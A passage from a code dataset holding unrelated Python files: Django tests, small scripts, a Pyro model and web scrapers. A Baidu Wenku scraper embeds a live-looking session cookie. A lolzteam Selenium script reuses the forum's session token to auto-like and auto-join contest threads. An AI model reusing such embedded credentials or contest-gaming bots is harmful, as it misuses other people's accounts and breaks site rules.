'form-1-ticker': self.stock2,\n 'form-1-quantity': '2', \n 'form-1-percent': '25',\n } \n form = walletForm(data)\n self.assertFalse(form.is_valid())\n\n def test_createWalletPlanningFormFailurePercentBelowNotFilled(self):\n walletForm = forms.createWalletPlanningForm()\n data = {\n 'capital':100,\n 'form-TOTAL_FORMS': '2',\n 'form-INITIAL_FORMS': '2',\n 'form-MIN_NUM_FORMS': '0',\n 'form-MAX_NUM_FORMS': '1000',\n 'form-0-ticker': self.stock1,\n 'form-0-quantity': '2', \n 'form-1-ticker': self.stock2,\n 'form-1-quantity': '2', \n 'form-1-percent': '-50',\n } \n form = walletForm(data)\n self.assertFalse(form.is_valid())\n\n def test_createWalletPlanningFormFailurePercentFill(self):\n walletForm = forms.createWalletPlanningForm()\n data = {\n 'capital':100,\n 'form-TOTAL_FORMS': '2',\n 'form-INITIAL_FORMS': '2',\n 'form-MIN_NUM_FORMS': '0',\n 'form-MAX_NUM_FORMS': '1000',\n 'form-0-ticker': self.stock1,\n 'form-0-quantity': '2', \n 'form-0-percent': '50',\n 'form-1-ticker': self.stock2,\n 'form-1-quantity': '2', \n } \n form = walletForm(data)\n self.assertTrue(form.is_valid())\n self.assertEqual(form.cleaned_data[1]['percent'], 50)\n\n def test_createWalletPlanningFormPOSTFailureTicker(self):\n walletForm = forms.createWalletPlanningForm()\n data = {\n 'capital':100,\n 'form-TOTAL_FORMS': '2',\n 'form-INITIAL_FORMS': '2',\n 'form-MIN_NUM_FORMS': '0',\n 'form-MAX_NUM_FORMS': '1000',\n 'form-0-ticker': self.stock1,\n 'form-0-quantity': '2', \n 'form-0-percent': '50',\n 'form-1-ticker': '',\n 'form-1-quantity': '2', \n 'form-1-percent': '50',\n } \n form = walletForm(data)\n self.assertFalse(form.is_valid())\n\nclass ViewTestCase(TransactionTestCase):\n @classmethod\n def setUpClass(cls):\n super().setUpClass()\n cls.client = Client()\n validTicker = tickerData.getAValidTickerCode(1)\n data1 = {\n 'ticker': validTicker,\n 'vpa': 1.1,\n 'pvp': 1.1,\n }\n validTicker = tickerData.getAValidTickerCode(2)\n data2 = {\n 'ticker': validTicker,\n 'vpa': 1.1,\n 'pvp': 1.1,\n }\n cache.set(data1['ticker'] + 'info', data1, timeout=None)\n cache.set(data1['ticker'] + 'price', 1.1, timeout=None)\n data1['price'] = 1.1\n cache.set(data2['ticker'] + 'info', data2, timeout=None)\n cache.set(data2['ticker'] + 'price', 1.1, timeout=None)\n data2['price'] = 1.1\n \n cls.stock1 = data1['ticker']\n cls.stock2 = data2['ticker']\n\n @classmethod\n def tearDownClass(cls):\n super().tearDownClass()\n cache.clear()\n\n\n def test_homeGET(self):\n response = self.client.get(\n reverse('home')\n )\n templateList = [\n template.name \\\n for template in response.templates\n ]\n self.assertTrue(\n 'rebalanceamento/home.html' in templateList\n )\n \n def test_homePOSTSuccess(self):\n data = {'file':getFileData('valid.csv')}\n response = self.client.post(\n reverse('home'), \n data\n )\n self.assertEqual(\n response.context['walletFormSet'].total_form_count(), \n 4,\n )\n\n def test_viewHomePOSTFailure(self):\n data = {'file':getFileData('invalidType.txt')}\n response = self.client.post(\n reverse('home'), data\n )\n self.assertEqual(\n response.context['walletFormSet'].total_form_count(), \n 1,\n )\n\n def test_confirmWalletGET(self):\n response = self.client.get(reverse('confirmWallet'))\n templateList = [\n template.name \\\n for template in response.templates\n ]\n self.assertFalse(\n 'rebalanceamento/confirmWallet.html' in templateList\n )\n \n def test_confirmWalletPOSTSuccess(self):\n data = {\n 'capital':100,\n 'form-TOTAL_FORMS': '1',\n 'form-INITIAL_FORMS': '1',\n 'form-MIN_NUM_FORMS': '0',\n 'form-MAX_NUM_FORMS': '1000',\n 'form-0-ticker': self.stock1,\n 'form-0-quantity': '2', \n 'form-0-percent': '100',\n } \n response = self.client.post(reverse('confirmWallet'), data)\n templateList = [\n template.name \\\n for template in response.templates\n ]\n self.assertTrue(\n 'rebalanceamento/plotPlan.html' in templateList\n )\n \n def test_confirmWalletPOSTFormFailure(self):\n data = {\n 'capital': '0',\n 'form-TOTAL_FORMS': '1',\n 'form-INITIAL_FORMS': '1',\n 'form-MIN_NUM_FORMS': '0',\n 'form-MAX_NUM_FORMS': '1000',\n 'form-0-ticker': self.stock1,\n 'form-0-quantity': '2', \n 'form-0-percent': '100',\n }\n response = self.client.post(reverse('confirmWallet'), data)\n templateList = [\n template.name \\\n for template in response.templates\n ]\n self.assertFalse(\n 'rebalanceamento/plotPlan.html' in templateList\n )\n\n def test_confirmWalletPOSTFormInvalidForm(self):\n data = {\n 'capital':100,\n 'form-TOTAL_FORMS': '1',\n 'form-0-ticker': self.stock1,\n 'form-0-quantity': '2', \n 'form-0-percent': '100',\n } \n response = self.client.post(\n reverse('confirmWallet'), \n data)\n templateList = [\n template.name \\\n for template in response.templates\n ]\n self.assertFalse(\n 'rebalanceamento/plotPlan.html' in templateList\n )\n\n def test_redoWalletGET(self):\n response = self.client.get(\n reverse('redoWallet'))\n templateList = [\n template.name \\\n for template in response.templates\n ]\n self.assertFalse(\n 'rebalanceamento/confirmWallet.html' in templateList\n )\n\n def test_redoWalletPOSTSuccess(self):\n data = {\n 'capital':100,\n 'form-TOTAL_FORMS': '1',\n 'form-INITIAL_FORMS': '1',\n 'form-MIN_NUM_FORMS': '0',\n 'form-MAX_NUM_FORMS': '1000',\n 'form-0-ticker': self.stock1,\n 'form-0-quantity': '2', \n 'form-0-percent': '100',\n } \n response = self.client.post(\n reverse('redoWallet'), data\n )\n templateList = [\n template.name \\\n for template in response.templates\n ]\n self.assertTrue(\n 'rebalanceamento/confirmWallet.html' in templateList\n )\n\n def test_redoWalletPOSTFailure(self):\n data = {\n 'capital':100,\n 'form-TOTAL_FORMS': '1',\n 'form-INITIAL_FORMS': '1',\n 'form-MIN_NUM_FORMS': '0',\n 'form-MAX_NUM_FORMS': '1000',\n 'form-0-ticker': self.stock1,\n 'form-0-quantity': '2', \n 'form-0-percent': '102',\n } \n response = self.client.post(\n reverse('redoWallet'), \n data\n )\n templateList = [\n template.name \\\n for template in response.templates\n ]\n self.assertFalse(\n 'rebalanceamento/confirmWallet.html' in templateList\n )\n\n def test_redoWalletPOSTInvalidForm(self):\n data = {\n 'capital':100,\n 'form-TOTAL_FORMS': '1',\n 'form-0-ticker': self.stock1,\n 'form-0-quantity': '2', \n 'form-0-percent': '100',\n } \n response = self.client.post(\n reverse('redoWallet'), data\n )\n templateList = [\n template.name \\\n for template in response.templates\n ]\n self.assertFalse(\n 'rebalanceamento/confirmWallet.html' in templateList\n )","repo_name":"icaromarley5/rebalanceamento_acoes","sub_path":"rebalanceamento/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":19030,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"7"} +{"seq_id":"29431789565","text":"import unittest\nimport sys\nsys.path.append('./app')\nfrom models import Source\n\nclass TestSource(unittest.TestCase):\n '''\n test case to test the behaviour of the source model\n '''\n def setUp(self):\n self.new_source = Source('engadget','Engadget','Tesla now accepts Bitcoin in the US','https://www.engadget.com/sonys-flavor-graph-uses-ai-to-predict-how-ingredients-will-pair-together-092935932.html','AI has gone into games, self-driving and other areas with mixed success, and now its trying its hand at cooking. After Googles AI went up against a Great British Bake Off winner, Sony has developed','English','UK')\n\n def test_isSourceINstance(self):\n self.assertTrue(isinstance(self.new_source,Source))\n\nif __name__ == '__main__':\n\tunittest.main()","repo_name":"Evance23/bar-news","sub_path":"tests/test_source.py","file_name":"test_source.py","file_ext":"py","file_size_in_byte":775,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"27177978358","text":"import collections\nfrom typing import List\nfrom collections import deque\n# import math\nfrom typing import List\nimport itertools\n\n# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, val=0, next=None):\n# self.val = val\n# self.next = next\n\nfrom collections import deque\n\nclass Solution:\n def findRestaurant(self, list1: List[str], list2: List[str]) -> List[str]:\n l1=set(list1)\n l2=set(list2)\n l12=l1&l2\n res=[]\n tmp=float('inf')\n for i in l12:\n tmp=min(tmp,list1.index(i)+list2.index(i))\n for i in l12:\n if list1.index(i)+list2.index(i)==tmp:\n res.append(i)\n return res\n\n\n\n\n\nprint(Solution().findRestaurant([\"Shogun\",\"Tapioca Express\",\"Burger King\",\"KFC\"],[\"Piatti\",\"The Grill at Torrey Pines\",\"Hungry Hunter Steakhouse\",\"Shogun\"]))\n","repo_name":"ganhan999/ForLeetcode","sub_path":"困难text!.py","file_name":"困难text!.py","file_ext":"py","file_size_in_byte":871,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"6694865701","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n\nimport urllib\nimport requests\nfrom bs4 import BeautifulSoup\n\n\n\"\"\"\nhttps://wenku.baidu.com/browse/getrequest?doc_id=a1eec6289b6648d7c1c7468f&pn=22&rn=1&type=ppt&callback=bd__cbs__s5lw72\nhttps://wenku.baidu.com/browse/getrequest?doc_id=a1eec6289b6648d7c1c7468f&pn=23&rn=1&type=ppt&callback=bd__cbs__coo5j5\nhttps://wenku.baidu.com/browse/getrequest?doc_id=a1eec6289b6648d7c1c7468f&pn=21&rn=1&type=ppt&callback=bd__cbs__2hc9ds\nhttps://wenku.baidu.com/browse/getrequest?doc_id=a1eec6289b6648d7c1c7468f&pn=5&rn=1&type=ppt&callback=bd__cbs__nh2gao\n\"\"\"\nlinkfiles = \"F:\\\\PythonProject\\\\python-scripts\\\\spider\\\\wenkubaidu\\\\odnimages\\\\\"\n\nclass WK():\n '''\n 百度文库\n '''\n def __init__(self):\n self.baseUrl = \"https://wenku.baidu.com/view/564fc70a77a20029bd64783e0912a21615797ff7.html\"\n self.header = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) \\\n AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36'}\n\n def getResponse(self,url):\n try:\n req = urllib.request.Request(url,headers = self.header)\n response = urllib.request.urlopen(req,timeout = 10)\n\n except:\n print(\"页面请求失败\")\n else:\n return response.read().decode('gb2312')\n\n def spyder(self,url):\n html = self.getResponse(url)\n # print(html)\n\n start_index = html.find(\"https:\")\n # print(start_index)\n print('-'*30)\n end_index = html.find('\",\"')\n # print(end_index)\n print(html[start_index:end_index]) \n\n \"\"\"\n with open(linkfiles + \"wenkucontent.txt\",'a+') as fa:\n fa.write(html)\n fa.write(\"\\n\")\n \"\"\"\n\n header = self.header \n header['Cookie'] = 'BAIDUID=2CC737B4D3E3D51EA7529F8065A8B708:FG=1; PSTM=1553749648; BIDUPSID=36D49C7DE8F84F920A6D6ADE0E719043; _click_param_pc_rec_doc_2017_testid=4; ZD_ENTRY=bing; cflag=13%3A3; session_name=cn.bing.com; isJiaoyuVip=1; wk_shifen_pop_window=7765_1_1567070315751; Hm_lvt_d8bfb560f8d03bbefc9bdecafc4a4bf6=1566318226,1566571568,1567070267,1567070708; session_id=1567070708094; BCLID=11327784929476180808; BDSFRCVID=aD0OJeC624LjSNrwjvtqhFVMiLK2tRQTH6055tzl7cu_UIsP_XwLEG0PDM8g0Ku-5SOpogKK0mOTHv-F_2uxOjjg8UtVJeC6EG0P3J; H_BDCLCKID_SF=JJ-qVCPbtDvbfP0kb-r_bPk0hNLHJK62aKDs3l-MBhcqEIL4jMv80UCX5U6q-no33HcuBlRcttbCVfbSj60hjJ0hhaJ2-lRPW67TMMn5Bp5nhMJeXj7JDMP0qHogWbOy523ion6vQpn-KqQ3DRoWXPIqbN7P-p5Z5mAqKl0MLIOkbRO4-TFaejOQDfK; userFirstTime=true; ___wk_scode_token=XdTTTDexiuWKJhoY9dcpx3hQOGs%2Bniyz9YrLayUnQsQ%3D; Hm_lpvt_d8bfb560f8d03bbefc9bdecafc4a4bf6=1567072063'\n # print(header)\n urlrep = html[start_index:end_index].replace('\\\\','')\n # print(urlrep)\n # req = requests.get('https://wkretype.bdimg.com//retype//zoom//6a30bde2f8c75fbfc77db23c?pn=4&raww=1080&rawh=810&o=jpg_6&md5sum=f9ace759cd13bfd0f9ad186d77af05fa&sign=0756077547&png=41164-280359&jpg=227559-365825')\n req = requests.get(urlrep,headers = header) \n \"\"\"\n with open(linkfiles + \"b.png\",'wb') as fb:\n fb.write(req.content)\n \"\"\"\n\n p_index = html.find('\"page\":')\n p_end = html.find('}]')\n pag = html[p_index+7:p_end]\n\n with open(linkfiles + pag + \".png\",'wb') as fb:\n fb.write(req.content)\n\nif __name__==\"__main__\":\n wk = WK()\n for pn in range(1,26):\n url = 'https://wenku.baidu.com/browse/getrequest?doc_id=a1eec6289b6648d7c1c7468f&pn={}&rn=1&type=ppt&callback=bd__cbs__nh2gao'.format(pn)\n print(url,\"下载完成\")\n wk.spyder(url)\n \n\n \"\"\"\n with open(linkfiles + \"wenkulink.txt\",'a+') as fw:\n # fw.write(url) # 是统计的页数连接,可以从中获取到图片的链接 \n # fw.write(\"\\n\")\n \"\"\"\n # wk.spyder(wk.baseUrl)\n\n\n\n\"\"\"\n注意该网址粘贴到浏览器上访问是可以的,但是在代码中若不替换\\该字符,会导致报错.\nhttps:\\/\\/wkretype.bdimg.com\\/retype\\/zoom\\/6a30bde2f8c75fbfc77db23c?pn=4&raww=1080&rawh=810&o=jpg_6&md5sum=f9ace759cd13bfd0f9ad186d77af05fa&sign=0756077547&png=41164-280359&jpg=227559-365825\n\"\"\"","repo_name":"JackyYuanjie/python-scripts","sub_path":"spider/wenkubaidu/wenku.py","file_name":"wenku.py","file_ext":"py","file_size_in_byte":4191,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"45358138857","text":"import xmltodict,requests, urllib.request\nurllib.request.urlretrieve('https://stepik.org/media/attachments/lesson/245681/map2.osm', 'C:\\\\Users\\\\pirog\\\\Desktop\\\\python\\\\map.osm')\nf = open('C:\\\\Users\\\\pirog\\\\Desktop\\\\python\\\\map.osm', 'r', encoding='utf8')\ntext = f.read()\nf.close()\na = xmltodict.parse(text)\nfuel = 0\nb = set()\nfor node in a['osm']['node']:\n if 'tag' in node:\n tags = node['tag']\n if isinstance(tags, list):\n for tag in tags:\n if tag['@k'] == 'amenity' and tag['@v'] == 'fuel':\n fuel+=1\n elif isinstance(tags, dict):\n if (tags['@v']) == 'fuel':\n fuel += 1\n\nfor way in a['osm']['way']:\n if 'tag' in way:\n tags = way['tag']\n if isinstance(tags, list):\n for tag in tags:\n if tag['@k'] == 'amenity' and tag['@v'] == 'fuel':\n fuel+=1\n elif isinstance(tags, dict):\n if (tags['@v']) == 'fuel':\n fuel += 1\nprint(fuel)\n\n","repo_name":"pirogov-p/phyton","sub_path":"course_python/3.4.py","file_name":"3.4.py","file_ext":"py","file_size_in_byte":1016,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"21642835296","text":"from selenium import webdriver\nimport re, datetime, time, os\n\ndef login(driver):\n driver.get('https://lolzteam.net/login/')\n while True:\n time.sleep(3)\n if driver.current_url == 'https://lolzteam.net/':\n token = driver.find_element_by_name('_xfToken').get_attribute('value')\n break\n return token\n\ndef get_contests(driver):\n one = driver.get('https://lolzteam.net/forums/contests/')\n html1 = driver.page_source\n first = re.findall(r'threads\\/\\d{6,10}\\/', html1)\n\n two = driver.get('https://lolzteam.net/forums/contests/page-2')\n html2 = driver.page_source\n second = re.findall(r'threads\\/\\d{6,10}\\/', html2)\n\n three = driver.get('https://lolzteam.net/forums/contests/page-3')\n html3 = driver.page_source\n third = re.findall(r'threads\\/\\d{6,10}\\/', html3)\n\n all = first + second + third\n rep = list(dict.fromkeys(all))\n return rep\n\ndef with_like(driver, token, rep):\n x = 0\n with open('{}.txt'.format(datetime.datetime.now().strftime(\"%d%m%Y-%H%M%S\")), 'w') as f:\n try:\n for i in rep:\n driver.get('https://lolzteam.net/'+i)\n like_url = driver.find_elements_by_xpath(\"//a[@class='Tooltip PopupTooltip LikeLink item control like']\")[0].get_attribute('href')\n driver.get(like_url)\n driver.find_element_by_xpath(\"//input[@type='submit']\").click()\n rep[x] = 'https://lolzteam.net/'+i+'participate?_xfToken='+token\n driver.get(rep[x])\n f.write(rep[x])\n x += 1\n except: pass\n driver.quit()\n os.system(\"taskkill /im chromedriver.exe\")\n\ndef simple(driver, token, rep):\n x = 0\n with open('{}.txt'.format(datetime.datetime.now().strftime(\"%d%m%Y-%H%M%S\")), 'w') as f:\n for i in rep:\n rep[x] = 'https://lolzteam.net/'+i+'participate?_xfToken='+token\n driver.get(rep[x])\n f.write(rep[x])\n x += 1\n driver.quit()\n os.system(\"taskkill /im chromedriver.exe\")\n\ndef main():\n kak = input('С лайками/без(1,0): ')\n driver = webdriver.Chrome()\n token = login(driver)\n rep = get_contests(driver)\n if kak == '1':\n with_like(driver, token, rep)\n elif kak == '0':\n simple(driver, token, rep)\n else: print('Error')\n\nif __name__ == '__main__':\n main()\n","repo_name":"Numenorean/lolzteam","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2725,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"75110946143","text":"\"\"\"This module contains the hierarchical parametric model with \ndescrete variables.\n\"\"\"\n\nimport torch\nfrom torch import zeros, ones\nfrom torch.distributions import biject_to\n\nimport pyro.distributions as dist\nfrom pyro.distributions import constraints\nfrom pyro import sample, param, poutine, deterministic, plate, markov\nfrom pyro.distributions.util import sum_rightmost\nfrom pyro.ops.indexing import Vindex\nfrom pyro.infer.reparam import LocScaleReparam\n\nfrom .infer import Inferrer\n\n__all__ = [\n 'NormalGammaDiscreteDepth'\n]\n\n\nclass NormalGammaDiscreteDepth(Inferrer):\n def __init__(self,\n agent,\n stimulus,\n responses,\n mask):\n\n super(NormalGammaDiscreteDepth, self).__init__(\n agent, \n stimulus, \n responses, \n mask=mask, \n fixed_params=None,\n enumerate=True)\n\n self.agent = agent\n self.mask = mask\n self.N = mask.sum(dim=0)\n\n self.subs = torch.arange(0, self.runs, 1, dtype=torch.long) # helper variable for indexing\n\n self.depth_transition = zeros(2, 3, 2, 3)\n self.depth_transition[0, :, 0] = torch.tensor([1., 0., 0.])\n self.depth_transition[0, :, 1] = torch.tensor([.5, .5, 0.])\n self.depth_transition[1] = torch.tensor([1., 0., 0.])\n\n self.states = stimulus['states']\n self.configs = stimulus['configs']\n self.conditions = stimulus['conditions']\n\n def model(self):\n agent = self.agent\n np = agent.npar # number of parameters\n\n nblk = self.nb # number of mini-blocks\n nsub = self.runs # number of subjects\n\n # define prior uncertanty over model parameters and subjects\n a = param('a', ones(np), constraint=constraints.softplus_positive)\n lam = param('lam', ones(np), constraint=constraints.softplus_positive)\n var_tau = sample('var_tau', dist.Gamma(a, 1).to_event(1))\n\n sig = deterministic('sigma', torch.sqrt(lam/(a*var_tau)))\n\n # each model parameter has a hyperprior defining group level mean\n m = param('m', zeros(np))\n s = param('s', ones(np), constraint=constraints.softplus_positive)\n with poutine.reparam(config={\"mu\": LocScaleReparam()}):\n mu = sample(\"mu\", dist.Normal(m, s*sig).to_event(1))\n\n ac12 = param(\"alphas12\", ones(2, 2), constraint=constraints.softplus_positive)\n ac34 = param(\"alphas34\", ones(2, 3), constraint=constraints.softplus_positive)\n\n with plate('subjects', nsub):\n with poutine.reparam(config={\"locs\": LocScaleReparam()}):\n locs = sample(\"locs\", dist.Normal(mu, sig).to_event(1))\n \n # define priors over planning depth\n probs_c12 = sample(\"probs_cond_12\", dist.Dirichlet(ac12).to_event(1))\n probs_c34 = sample(\"probs_cond_34\", dist.Dirichlet(ac34).to_event(1))\n\n agent.set_parameters(locs)\n\n tmp = torch.nn.functional.pad(probs_c12, (0, 1), value=0.)\n priors = torch.concat([tmp, probs_c34], -2)\n\n for b in markov(range(nblk)):\n conditions = self.conditions[..., b]\n states = self.states[:, b]\n responses = self.responses[b]\n max_trials = conditions[-1] - 2\n noise = conditions[-2]\n\n tm = self.depth_transition[:, :, max_trials]\n for t in markov(range(3)):\n\n if t == 0:\n res = None\n probs = priors[..., self.subs, 2*max_trials + noise, :]\n else:\n res = responses[t-1]\n probs = tm[t-1, -1]\n\n agent.update_beliefs(b, t, states[:, t], conditions, res)\n agent.plan_actions(b, t)\n\n valid = self.mask[:, b, t]\n N = self.N[b, t]\n res = responses[t, valid]\n\n logits = agent.logits[-1][..., valid, :]\n probs = probs[..., valid, :]\n\n if t == 2:\n agent.update_beliefs(b, t + 1, states[:, t + 1], conditions, responses[t])\n\n if N > 0:\n with plate('responses_{}_{}'.format(b, t), N):\n d = sample('d_{}_{}'.format(b, t),\n dist.Categorical(probs),\n infer={\"enumerate\": \"parallel\"})\n\n sample('obs_{}_{}'.format(b, t),\n dist.Bernoulli(logits=Vindex(logits)[..., d]),\n obs=res)\n\n def guide(self):\n npar = self.agent.npar # number of parameters\n nsub = self.runs # number of subjects\n\n m_hyp = param('m_hyp', zeros(2*npar))\n st_hyp = param('scale_tril_hyp',\n torch.eye(2*npar),\n constraint=constraints.lower_cholesky)\n hyp = sample('hyp', dist.MultivariateNormal(m_hyp, scale_tril=st_hyp),\n infer={'is_auxiliary': True})\n\n unc_mu = hyp[..., :npar]\n unc_tau = hyp[..., npar:]\n\n trns_tau = biject_to(constraints.softplus_positive)\n\n c_tau = trns_tau(unc_tau)\n\n ld_tau = trns_tau.inv.log_abs_det_jacobian(c_tau, unc_tau)\n ld_tau = sum_rightmost(ld_tau, ld_tau.dim() - c_tau.dim() + 1)\n\n sample(\"mu_decentered\", dist.Delta(unc_mu, event_dim=1))\n sample(\"var_tau\", dist.Delta(c_tau, log_density=ld_tau, event_dim=1))\n\n m_locs = param('m_locs', zeros(nsub, npar))\n st_locs = param('s_locs', torch.eye(npar).repeat(nsub, 1, 1),\n constraint=constraints.lower_cholesky)\n\n alpha_12 = param('guide_alpha12', ones(nsub, 2, 2), constraint=constraints.softplus_positive)\n alpha_34 = param('guide_alpha34', ones(nsub, 2, 3), constraint=constraints.softplus_positive)\n\n with plate('subjects', nsub):\n sample(\"locs_decentered\", dist.MultivariateNormal(m_locs, scale_tril=st_locs))\n sample(\"probs_cond_12\", dist.Dirichlet(alpha_12).to_event(1))\n sample(\"probs_cond_34\", dist.Dirichlet(alpha_34).to_event(1))","repo_name":"dimarkov/pybefit","sub_path":"src/pybefit/inference/pyro/mixed.py","file_name":"mixed.py","file_ext":"py","file_size_in_byte":6139,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"7"} +{"seq_id":"9049715909","text":"from db import mydb as conn\nimport pandas\n\n\ndef fecth_with_join_one():\n query = \"\"\"\n SELECT username,comments FROM comments \n JOIN users ON users.id = comments.user_id;\n \"\"\"\n data = pandas.read_sql_query(query,conn)\n conn.close()\n print('executed!!')\n print(data)\n\n# fecth_with_join_one()\n\n\ndef fecth_with_join_inner():\n query = \"\"\"\n SELECT url,username FROM photos\n INNER JOIN users ON users.id = photos.user_id;\n \"\"\"\n data = pandas.read_sql_query(query,conn)\n conn.close()\n print('executed!!')\n print(data)\n\n\n# fecth_with_join_inner()\n\ndef fetch_with_join_left_outer():\n query = \"\"\"\n SELECT url,username FROM photos\n LEFT JOIN users ON users.id = photos.user_id;\n \"\"\"\n data = pandas.read_sql_query(query,conn)\n conn.close()\n print('executed !')\n print(data)\n\n# fetch_with_join_left_outer()\n\n\ndef fetch_with_join_right_outer():\n query = \"\"\"\n SELECT url,username FROM photos\n RIGHT JOIN users ON users.id = photos.user_id;\n \"\"\"\n data = pandas.read_sql_query(query,conn)\n print(data)\n\n \n# fetch_with_join_right_outer()\n\n\ndef fetch_with_full_join():\n query = \"\"\"\n SELECT url,username FROM photos\n FULL JOIN users ON users.id = photos.user_id;\n \"\"\"\n data = pandas.read_sql_query(query,conn)\n print(data)\n\n# fetch_with_full_join()\n\n\n\ndef fetch_data_with_join_where():\n query = \"\"\"\n SELECT contents,url FROM comments\n JOIN photos ON photos.id = comments.photo_id\n WHERE comments.user_id = photos.user_id;\n \"\"\"\n data = pandas.read_sql_query(query,conn)\n print(data)\n\n\n# fetch_data_with_join_where()\n\n\ndef example_of_three_way_join():\n\n query = \"\"\"\n SELECT contents,url,username FROM comments\n JOIN photos ON photos.id = comments.photo_id\n JOIN users ON users.id = photos.user_id AND users.id = comments.user_id;\n \"\"\"\n data = pandas.read_sql_query(query,conn)\n\n print(data)\n\n\n\n# example_of_three_way_join()\n\n\n\n\n#a = \"\"\"\n#SELECT title,name,rating FROM reviews\n#JOIN books ON books.id = reviews.book_id JOIN authors ON authors.id = books.author_id AND authors.id = reviews.reviewer_id;\n#\"\"\"","repo_name":"tawhidii/sql-with-python","sub_path":"records_join/relating_db_join.py","file_name":"relating_db_join.py","file_ext":"py","file_size_in_byte":2177,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"72709988382","text":"import sys\n\ndef insertionSort(A):\n for j in range(1,len(A)):\n key = A[j]\n i = j-1 \n while (i > -1) and int(key[1]) < int(A[i][1]):\n A[i+1]=A[i] \n i=i-1 \n A[i+1] = key\n\nfor line in sys.stdin:\n n = int(line)\n carnesEv = []\n for i in range(n):\n entrada = input().replace(\"\\n\",\"\").split(\" \")\n carnesEv.append(entrada)\n insertionSort(carnesEv)\n for i in range(len(carnesEv)-1):\n print(carnesEv[i][0], end=\" \")\n print(carnesEv[len(carnesEv)-1][0])","repo_name":"EmersonDantas/URI-ACCEPTED","sub_path":"Python/URI2633.py","file_name":"URI2633.py","file_ext":"py","file_size_in_byte":533,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"2973845194","text":"\"\"\" [G] [P] [M] \n [V] [M] [W] [S] [Q] \n [N] [N] [G] [H] [T] [F]\n [J] [W] [V] [Q] [W] [F] [P]\n[C] [H] [T] [T] [G] [B] [Z] [B]\n[S] [W] [S] [L] [F] [B] [P] [C] [H]\n[G] [M] [Q] [S] [Z] [T] [J] [D] [S]\n[B] [T] [M] [B] [J] [C] [T] [G] [N]\n 1 2 3 4 5 6 7 8 9 \"\"\"\n\n\nstacks = {\"1\": [\"B\", \"G\", \"S\", \"C\",],\n \"2\": [\"T\", \"M\", \"W\", \"H\", \"J\", \"N\", \"V\", \"G\"],\n \"3\": [\"M\", \"Q\", \"S\"],\n \"4\": [\"B\", \"S\", \"L\", \"T\", \"W\", \"N\", \"M\"],\n \"5\": [\"J\", \"Z\", \"F\", \"T\", \"V\", \"G\", \"W\", \"P\"],\n \"6\": [\"C\", \"T\", \"B\", \"G\", \"Q\", \"H\", \"S\"],\n \"7\": [\"T\", \"J\", \"P\", \"B\", \"W\"],\n \"8\": [\"G\", \"D\", \"C\", \"Z\", \"F\", \"T\", \"Q\", \"M\"],\n \"9\": [\"N\", \"S\", \"H\", \"B\", \"P\", \"F\"]}\n\ndata = [x.strip() for x in open('input.txt').readlines()]\n\ndef part1(data):\n global stacks\n\n for i in data:\n move, from_stack, to_stack = i.replace(\"move \", \"\").replace(\"from \", \"\").replace(\"to \", \"\").split(\" \")\n move = int(move)\n for j in range(move):\n stacks[to_stack].append(stacks[from_stack].pop())\n \n for k in stacks.keys():\n print(stacks[k][-1])\n\ndef part2(data):\n for i in data:\n move, from_stack, to_stack = i.replace('move ', '').replace('from ', '').replace('to ', '').split(' ')\n move = int(move)\n\n stacks[to_stack] += stacks[from_stack][move * -1:]\n del stacks[from_stack][move * -1:]\n\n for k in stacks.keys():\n print(stacks[k][-1])\n\nif __name__ == \"__main__\":\n #part1(data)\n part2(data)\n","repo_name":"tomasmach/AdventFiesta","sub_path":"2022/day5.py","file_name":"day5.py","file_ext":"py","file_size_in_byte":1572,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"26784439517","text":"import csv\nimport requests\nfrom bs4 import BeautifulSoup\n\n# Define the filename for the input file containing the URLs\ninput_filename = 'job_urls.txt'\n\n# Read the URLs from the input file into a list\nwith open(input_filename, 'r', encoding='utf-8') as file:\n urls = [line.strip() for line in file]\n\n# Define the filename for the CSV file\noutput_filename = 'job_data.csv'\n\n# Open the file in write mode and create a CSV writer object with explicit encoding\nwith open(output_filename, 'w', newline='', encoding='utf-8') as file:\n writer = csv.writer(file)\n\n # Write the header row to the CSV file\n writer.writerow(['Title', 'Location', 'Mode', 'Description', 'Qualifications', 'URL'])\n\n print(\"Reading in all job data\")\n\n # Iterate over the URLs\n for url in urls:\n # get main html soup\n response = requests.get(url)\n soup = BeautifulSoup(response.content, 'html.parser')\n\n # get each element\n title = soup.find('h1').text.strip()\n location = soup.find('span', {'class':'job-description__location-pin job-info'}).text.strip()\n mode = soup.find('span', {'class':'job-category-info job-info'}).text.strip()\n description = soup.find('div', {'class': 'ats-description'}).text.strip()\n\n # split large description\n qualifications = description[description.index(\"Qualifications\") + len(\"Qualifications\"):description.index(\"Inside this Business Group\")].strip()\n description = description[description.index(\"Job Description\") + len(\"Job Description\"):description.index(\"Qualifications\")].strip()\n \n # Write the data for each URL to the CSV file\n writer.writerow([title, location, mode, description, qualifications, url])\n\nprint(\"All job data gathered and saved in\", output_filename)\nprint(\"Cleaning all job data\")\n\n# Remove records based on specified conditions\nfiltered_rows = []\nwith open(output_filename, 'r') as csvfile:\n reader = csv.reader(csvfile)\n for row in reader:\n if len(row) > 0:\n first_column = row[0].lower()\n # remove records whose titles contain:\n keywords = [\"chemistry\", \"chemical\", \"physics\", \"mechanical\", \"senior\", \"sr.\"]\n # exclude if titles also contain:\n exclude_word = \"computer science\"\n if not any(keyword in first_column for keyword in keywords):\n 